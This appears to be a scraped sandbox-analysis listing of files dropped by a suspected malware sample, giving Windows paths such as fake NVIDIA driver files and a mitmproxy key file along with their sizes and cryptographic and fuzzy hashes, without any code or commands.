SHA512 da5048e78fadb4529a91620eb7e015570402e5d468b2210d0abdc07220d6516b5aee548b58611b9be013740772175a40b28e47d5dd3c7e211ae44a36d4cb29ba
TLSH
T12FD0A7270FB20CB422CE1343655BFE4F3BA079339A0D301133B6054555C500E7E18C98
MD5 SHA1 SHA512 TLSH

Submit Download

nvidia_dr64.xml

Path C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml
Size 399B
SHA256 4cd207cd30e56ee3ff9972fd0c0194b008645110f4b538dfdf15f5f1fde0d0d7
MD5 01abc06c49048bea9dd90359ba9b9cdc
SHA1 2ab260f3be6cb45654f046f0f1178305180c05ac
SHA512 ffcbdb3ed8c41066c7cc4b1714e73965ca3322ac0deb91549adb3cedc3f7dfb8d6e8b056e66f9c2bdcdfcd4a1546e86274eaf43f25467164934a3868e5e11bc6
TLSH
T199E061415DC6FE36887F54517E22B52B5373C24D138C1D59F2CD4B03069058D4467D41
MD5 SHA1 SHA512 TLSH

Submit Download

nvidia_driver64.wrapper.log

Path C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.wrapper.log
Size 324B
SHA256 c649b774078a9ad8818c1e51fc3202ff3286621cfe90aac3354745c9cbb9978a
MD5 a26b49387f81bb5b07c0c101bd1786ba
SHA1 65686bf45bd771f67d20d91c28ea2873cdeb86d5
SHA512 0f7238da368487c0281ec4c279008ede8c4d30d6beadf61b5eb986cd445ac975bc56369efe64c2282fe949b50b8fd0d03ca54edc47aafc5751e5a30fa3e6edd4
TLSH
T1DFE0CD231F711CBC97EE158745D7F64F37513A329A2E301573711004D3C650E7A10978
MD5 SHA1 SHA512 TLSH

Submit Download

nvidia_driver64.xml

Path C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.xml
Size 415B
SHA256 17186120e195f45970a7166820e8aeed3ee5ba5ac098195bca498d9deb451257
MD5 6a769eace1c628d07f28ad9a405f0b8b
SHA1 b8f6f7f9b09ba75d4bdfba660e55b510da5059b8
SHA512 e25a416115b285981976119d82ebdfbba86c16cd2352d311c39786d71754b4c16a4d2ab12d987cf42fb76c5e427f0c856bdd4a8cdc0225068d93c0cf5fdeb41f
TLSH
T130E02B417DC6BE3DC87F54553A23E12B6373C24D13EA1959F28D4B03479158D8467D41
MD5 SHA1 SHA512 TLSH

Submit Download

install_log.txt

Path C:\ProgramData\WindowsOptions\install_log.txt
Size 5KB
SHA256 c9c7dea9791176487fa5562cb07c37847ce680e4bbb81970ae27d1d4e1a986ed
MD5 034999223049eb03c34a1530d3839a00
SHA1 bed09066177a269fa70f21f5882c3e94ceb77e3e
SHA512 0dac88c268d3b46f789fe436d225da434722d0cf718c1fb2489f813f3bfbab67de96f91a9732637caa4c7a0ba50ff52a1a5111ed1e1b77e53b3f1a5719c0966b
SSDEEP 48:U8iTH9CPOoCrL6oYCgvrtCovrfqHb3QTvrQ3EvrZ2q113A2Kjpn8yeem0Ai8E:ydAML6oY3vRLvGHbQvs0vV1Qpn8GAm
TLSH
T10CC18A12663DA1FF82D53803EA84AF4753967ABB3B274F73332048597497E20893E674
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mitmproxy-dhparam.pem

Path C:\ProgramData\WindowsOptions\mitmproxy-dhparam.pem
Size 770B
SHA256 8a4d78a835f8e4f00cd9fa9abe6ef943704510fe5b9b37324e6e01881417d845
MD5 fc2f07c8d3e3a56d7c015af819decda0
SHA1 5d4ccc272f1a1282ae3dae5996e0c57c9ad77d3c
SHA512 0cf974bb72c2868b8ef7423ca4baa25b21b84f89b88a176e4bb98d5aab52deecc47b12892f131bc9eaaa5661cd68fdcdcd9f9befa52a873ad21429ebf963a9be
TLSH
T1A00175B82D354D343832D0933A66248AFA6400C679B52508B9D68E08621E95195DE96B
MD5 SHA1 SHA512 TLSH

Submit Download

service2.log

Path C:\ProgramData\WindowsOptions\service2.log
Size 1KB
SHA256 efb943d5e6bae068f2b78d0b035d664cad123975ac0d4e7b6574f7dfae2a1273
MD5 471fa4df85d1691c3d86c0d11447db33
SHA1 26e578235a0146f5e57e257f9aeeaa374c24fec4
SHA512 6d1f9887ebfb9b609aadc1bef112cb2702fbc6d6b5a43a4be56509da9022831afe6ae6c41d5ac323a6fae48005629cfd4f5137fe99fc4ef53fa3cb06389055a0
TLSH
T110412E418EB90EF1B69783A5934E4F456324BB3717C30D3F63D2809AE61DE71A425587
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 f9ab12570330c01e27763bac5145d7d8875c32fbf1762e44165d7b74562ce57d
MD5 37abd2d40377e80e5f5aa9e27f1012d1
SHA1 282c9a66be1e508219c7a655cfa8377ef8c93b31
SHA512 8118675e90e534f0de0ca731dca73b08cb9a2a0150b8b34cb10dafb4e823b5caa85d88e2105f8ad1c037d1e2cf0956253d8665555e6a74ea116f4189b63a9546
SSDEEP 1536:gC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+E2a5bxX:gC+jH04tAHk1cMrxyNhftflJdvYoFi31
TLSH
T158334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download